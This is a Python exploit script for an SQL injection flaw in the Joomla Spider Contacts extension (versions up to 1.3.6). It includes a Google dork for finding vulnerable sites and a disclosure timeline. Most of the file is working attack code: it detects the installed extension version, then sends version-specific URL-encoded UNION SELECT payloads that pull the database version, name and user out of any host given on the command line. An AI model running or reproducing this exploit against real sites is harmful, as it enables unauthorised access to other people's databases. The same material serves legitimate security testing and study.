#!/usr/bin/env python
#
#
# Exploit Title : Joomla Spider Contacts <= 1.3.6 SQL Injection
#
# Exploit Author : Claudio Viviani
#
# Vendor Homepage : http://web-dorado.com/
#
# Software Link : http://web-dorado.com/?option=com_wdsubscriptions&view=dwnldfree&format=row&id=60 (fixed)
#   Mirror Link : https://mega.co.nz/#!mJwlUahJ!fx7d1ZQszaD3-k66PjWQEBXQafJnEeRDEleN8jqbVOE (no fixed)
#
# Dork Google: inurl:option=com_spidercontacts
#
# Date : 2014-09-07
#
# Tested on : Windows 7 / Mozilla Firefox
#             Linux / Mozilla Firefox
#
#
#
######################
#
# PoC Exploit:
#
# http://localhost/joomla/index.php?option=com_spidercontacts&contact_id=[SQLi]&view=showcontact&lang=ca
#
#
# "contacts_id" variables is not sanitized.
# 
#
# Vulnerability Disclosure Timeline:
#
# 2014-09-07:  Discovered vulnerability
# 2014-09-09:  Vendor Notification
# 2014-09-10:  Vendor Response/Feedback 
# 2014-09-10:  Vendor Fix/Patch
# 2014-09-10:  Public Disclosure

import codecs
import httplib
import re
import sys
import socket
import optparse

banner = """

   $$$$$\                                   $$\                  $$$$$$\            $$\       $$\                      
   \__$$ |                                  $$ |                $$  __$$\           \__|      $$ |                     
      $$ | $$$$$$\   $$$$$$\  $$$$$$\$$$$\  $$ | $$$$$$\        $$ /  \__| $$$$$$\  $$\  $$$$$$$ | $$$$$$\   $$$$$$\   
      $$ |$$  __$$\ $$  __$$\ $$  _$$  _$$\ $$ | \____$$\       \$$$$$$\  $$  __$$\ $$ |$$  __$$ |$$  __$$\ $$  __$$\  
$$\   $$ |$$ /  $$ |$$ /  $$ |$$ / $$ / $$ |$$ | $$$$$$$ |       \____$$\ $$ /  $$ |$$ |$$ /  $$ |$$$$$$$$ |$$ |  \__| 
$$ |  $$ |$$ |  $$ |$$ |  $$ |$$ | $$ | $$ |$$ |$$  __$$ |      $$\   $$ |$$ |  $$ |$$ |$$ |  $$ |$$   ____|$$ |       
\$$$$$$  |\$$$$$$  |\$$$$$$  |$$ | $$ | $$ |$$ |\$$$$$$$ |      \$$$$$$  |$$$$$$$  |$$ |\$$$$$$$ |\$$$$$$$\ $$ |       
 \______/  \______/  \______/ \__| \__| \__|\__| \_______|       \______/ $$  ____/ \__| \_______| \_______|\__|       
                                                                          $$ |                                         
                                                                          $$ |                                         
                                                                          \__|                                         
 $$$$$$\                       $$\                           $$\                       $$\       $$$$$$\      $$$$$$\  
$$  __$$\                      $$ |                          $$ |                    $$$$ |     $$ ___$$\    $$  __$$\ 
$$ /  \__| $$$$$$\  $$$$$$$\ $$$$$$\    $$$$$$\   $$$$$$$\ $$$$$$\    $$$$$$$\       \_$$ |     \_/   $$ |   $$ /  \__|
$$ |      $$  __$$\ $$  __$$\\_$$  _|   \____$$\ $$  _____|\_$$  _|  $$  _____|        $$ |       $$$$$ /    $$$$$$$\  
$$ |      $$ /  $$ |$$ |  $$ | $$ |     $$$$$$$ |$$ /        $$ |    \$$$$$$\          $$ |       \___$$\    $$  __$$\ 
$$ |  $$\ $$ |  $$ |$$ |  $$ | $$ |$$\ $$  __$$ |$$ |        $$ |$$\  \____$$\         $$ |     $$\   $$ |   $$ /  $$ |
\$$$$$$  |\$$$$$$  |$$ |  $$ | \$$$$  |\$$$$$$$ |\$$$$$$$\   \$$$$  |$$$$$$$  |      $$$$$$\ $$\\$$$$$$  |$$\ $$$$$$  |
 \______/  \______/ \__|  \__|  \____/  \_______| \_______|   \____/ \_______/       \______|\__|\______/ \__|\______/ 
                                                                                                                       
                                                                                         j00ml4 Spid3r C0nt4cts <= 1.3.6 SQLi

                                		     Written by:

                              	                   Claudio Viviani

                           		        http://www.homelab.it

                                                   info@homelab.it
		                               homelabit@protonmail.ch

                      			  https://www.facebook.com/homelabit
                      			    https://twitter.com/homelabit
                      	                 https://plus.google.com/+HomelabIt1/
                               https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

"""

C0mm4nds = dict()
C0mm4nds['DB VERS'] = 'VERSION'
C0mm4nds['DB NAME'] = 'DATABASE'
C0mm4nds['DB USER'] = 'CURRENT_USER'

def def_payload(payl):
    payl = payl
    return payl


def com_com_spidercalendar():
    com_spidercalendar = "index.php?option=com_spidercontacts&contact_id="+payload+"&view=showcontact&lang=ca"
    return com_spidercalendar


ver_spidercontacts = "administrator/components/com_spidercontacts/spidercontacts.xml"

vuln = 0

def cmdMySQL(cmd):
   SqlInjList = [
   # SQLi Spider Contacts 1.3.6
'1%20UNION%20ALL%20SELECT%20CONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
   # SQLi Spider Contacts 1.3.5 - 1.3.4
'1%20UNION%20ALL%20SELECT%20CONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
   # SQLi Spider Contacts 1.3.3
'1%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
   # SQLi Spider Contacts 1.3
'1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
   # SQLi Spider Contacts 1.2 - 1.1 - 1.0
'-9900%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
   ]
   return SqlInjList

def checkProtocol(pr):

    parsedHost = ""
    PORT =  m_oOptions.port

    if pr[0:8] == "https://":
        parsedHost = pr[8:]

        if parsedHost.endswith("/"):
            parsedHost = parsedHost.replace("/","")
            if PORT == 0:
                PORT = 443

        PROTO = httplib.HTTPSConnection(parsedHost, PORT)

    elif pr[0:7] == "http://":
        parsedHost = pr[7:]
        if parsedHost.endswith("/"):
            parsedHost = parsedHost.replace("/","")
        if PORT == 0:
            PORT = 80

        PROTO = httplib.HTTPConnection(parsedHost, PORT)

    else:
        parsedHost = pr

        if parsedHost.endswith("/"):
            parsedHost = parsedHost.replace("/","")
        if PORT == 0:
            PORT = 80

        PROTO = httplib.HTTPConnection(parsedHost, PORT)

    return PROTO, parsedHost

def connection(addr, url_string):

    parsedHost = checkProtocol(addr)[1]
    PROTO =  checkProtocol(addr)[0]
    try:
        socket.gethostbyname(parsedHost)

    except socket.gaierror:
        print 'Hostname could not be resolved. Exiting'
        sys.exit()

    connection_req =  checkProtocol(addr)[0]

    try:
        connection_req.request('GET', url_string)
    except socket.error:
        print('Connection Error')
        sys.exit(1)

    response = connection_req.getresponse()
    reader = codecs.getreader("utf-8")(response)

    return {'response':response, 'reader':reader}


if __name__ == '__main__':
    m_oOpts = optparse.OptionParser("%prog -H http[s]://Host_or_IP [-b, --base base_dir] [-p, --port PORT]")
    m_oOpts.add_option('--host', '-H', action='store', type='string',
        help='The address of the host running Spider Contacts extension(required)')
    m_oOpts.add_option('--base', '-b', action='store', type='string', default="/",
	help='base dir joomla installation, default "/")')
    m_oOpts.add_option('--port', '-p', action='store', type='int', default=0,
        help='The port on which the daemon is running (default 80)')

    m_oOptions, remainder = m_oOpts.parse_args()
    m_nHost = m_oOptions.host
    m_nPort = m_oOptions.port
    m_nBase = m_oOptions.base

    if not m_nHost:
        print(banner)       
        print m_oOpts.format_help()
        sys.exit(1)

    print(banner)

    if m_nBase != "/":
	if m_nBase[0] == "/":
		m_nBase = m_nBase[1:]
		if m_nBase[-1] == "/":
			m_nBase = m_nBase[:-1]
	else:
		if m_nBase[-1] == "/":
			m_nBase = m_nBase[:-1]
	m_nBase = '/'+m_nBase+'/'

    payload = def_payload('1%27')
    com_spidercalendar = com_com_spidercalendar()
    # Start connection to host for Joomla Spider Contacts vulnerability
    response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0]
    reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1]
    # Read connection code number
    getcode = response.status

    print("[+] Searching for Joomla Spider Contacts vulnerability...")
    print("[+]")
    
    if getcode != 404:
        for lines in reader:
            if not lines.find("spidercontacts_contacts.id") == -1:
		print("[!] Boolean SQL injection vulnerability FOUND!")
                print("[+]")
                print("[+] Detection version in progress....")
		print("[+]")
	
                try:
                    response = connection(m_nHost, m_nBase+ver_spidercontacts).values()[0]
                    reader = connection(m_nHost, m_nBase+ver_spidercontacts).values()[1]
                    getcode = response.status
                    if getcode != 404:
                        for line_version in reader:
                           if not line_version.find("<version>") == -1:
                               VER = re.compile('>(.*?)<').search(line_version).group(1)
                               VER_REP = VER.replace(".","")
                               if int(VER_REP) > 136 or int(VER_REP[0]) == 2:
                                   print("[X] VERSION: "+VER)
                                   print("[X] Joomla Spider Contacts => 1.3.7 are not vulnerables")
                                   sys.exit(1)
                               elif int(VER_REP) == 136:
                                   print("[+] EXTENSION VERSION: "+VER)
                                   print("[+]")
                                   for  cmddesc, cmdsqli in C0mm4nds.items():
                                       try:
                                           paysql = cmdMySQL(cmdsqli)[0]
                                           payload = def_payload(paysql)
                                           com_spidercalendar = com_com_spidercalendar()
                                           response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0]
                                           reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1]
                                           getcode = response.status
                                           if getcode != 404:
                                              for line_response in reader:
                                                  if not line_response.find("h0m3l4b1t") == -1:
                                                      MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
                                                      if vuln == 0:
                                                          print("[!] "+m_nHost+" VULNERABLE!!!")
                                                          print("[+]")
                                                      print("[!] "+cmddesc+" : "+MYSQL_VER)
                                                      vuln = 1
                                                      break
                                       except socket.error:
                                           print('[X] Connection was lost please retry')
                                           sys.exit(1)
                               elif int(VER_REP) == 135 or int(VER_REP) == 134:
                                   print("[+] EXTENSION VERSION: "+VER)
                                   print("[+]")
                                   for  cmddesc, cmdsqli in C0mm4nds.items():
                                       try:
                                           paysql = cmdMySQL(cmdsqli)[1]
                                           payload = def_payload(paysql)
                                           com_spidercalendar = com_com_spidercalendar()
                                           response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0]
                                           reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1]
                                           getcode = response.status
                                           if getcode != 404:
                                              for line_response in reader:
                                                  if not line_response.find("h0m3l4b1t") == -1:
                                                      MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
                                                      if vuln == 0:
                                                          print("[!] "+m_nHost+" VULNERABLE!!!")
                                                          print("[+]")
                                                      print("[!] "+cmddesc+" : "+MYSQL_VER)
                                                      vuln = 1
                                                      break
                                       except socket.error:
                                           print('[X] Connection was lost please retry')
                                           sys.exit(1)
                               elif int(VER_REP) == 133:
                                   print("[+] EXTENSION VERSION: "+VER)
                                   print("[+]")
                                   for  cmddesc, cmdsqli in C0mm4nds.items():
                                       try:
                                           paysql = cmdMySQL(cmdsqli)[2]
                                           payload = def_payload(paysql)
                                           com_spidercalendar = com_com_spidercalendar()
                                           response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0]
                                           reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1]
                                           getcode = response.status
                                           if getcode != 404:
                                              for line_response in reader:
                                                  if not line_response.find("h0m3l4b1t") == -1:
                                                      MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
                                                      if vuln == 0:
                                                          print("[!] "+m_nHost+" VULNERABLE!!!")
                                                          print("[+]")
                                                      print("[!] "+cmddesc+" : "+MYSQL_VER)
                                                      vuln = 1
                                                      break
                                       except socket.error:
                                           print('[X] Connection was lost please retry')
                                           sys.exit(1)
                               elif int(VER_REP) == 13:
                                   print("[+] EXTENSION VERSION: "+VER)
                                   print("[+]")
                                   for  cmddesc, cmdsqli in C0mm4nds.items():
                                       try:
                                           paysql = cmdMySQL(cmdsqli)[3]
                                           payload = def_payload(paysql)
                                           com_spidercalendar = com_com_spidercalendar()
                                           response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0]
                                           reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1]
                                           getcode = response.status
                                           if getcode != 404:
                                              for line_response in reader:
                                                  if not line_response.find("h0m3l4b1t") == -1:
                                                      MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
                                                      if vuln == 0:
                                                          print("[!] "+m_nHost+" VULNERABLE!!!")
                                                          print("[+]")
                                                      print("[!] "+cmddesc+" : "+MYSQL_VER)
                                                      vuln = 1
                                                      break
                                       except socket.error:
                                           print('[X] Connection was lost please retry')
                                           sys.exit(1)
                               elif int(VER_REP[:2]) == 10 or int(VER_REP[:2]) == 11 or int(VER_REP[:2]) == 12:
                                   print("[+] EXTENSION VERSION: "+VER)
                                   print("[+]")
                                   for  cmddesc, cmdsqli in C0mm4nds.items():
                                       try:
                                           paysql = cmdMySQL(cmdsqli)[4]
                                           payload = def_payload(paysql)
                                           com_spidercalendar = com_com_spidercalendar()
                                           response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0]
                                           reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1]
                                           getcode = response.status
                                           if getcode != 404:
                                              for line_response in reader:
                                                  if not line_response.find("h0m3l4b1t") == -1:
                                                      MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
                                                      if vuln == 0:
                                                          print("[!] "+m_nHost+" VULNERABLE!!!")
                                                          print("[+]")
                                                      print("[!] "+cmddesc+" : "+MYSQL_VER)
                                                      vuln = 1
                                                      break
                                       except socket.error:
                                           print('[X] Connection was lost please retry')
                                           sys.exit(1)
                               else:
                                   print("[-] EXTENSION VERSION: Unknown :(")
                                   sys.exit(0)
                        if int(vuln) == 0:
                            # VERSION NOT VULNERABLE :(
                            print("[X] Spider Contacts patched or SQLi blocked by Web Application Firewall")
                            sys.exit(1)
                        else:
                            sys.exit(0)
                except socket.error:
                    print('[X] Connection was lost please retry')
                    sys.exit(1)
	# NO SQL BLIND DETECTED
	print("[X] Spider Contacts patched or SQLi blocked by Web Application Firewall")
	sys.exit(1)
    else:
        print('[X] URL "'+m_nHost+m_nBase+com_spidercalendar+'" NOT FOUND')
        sys.exit(1)
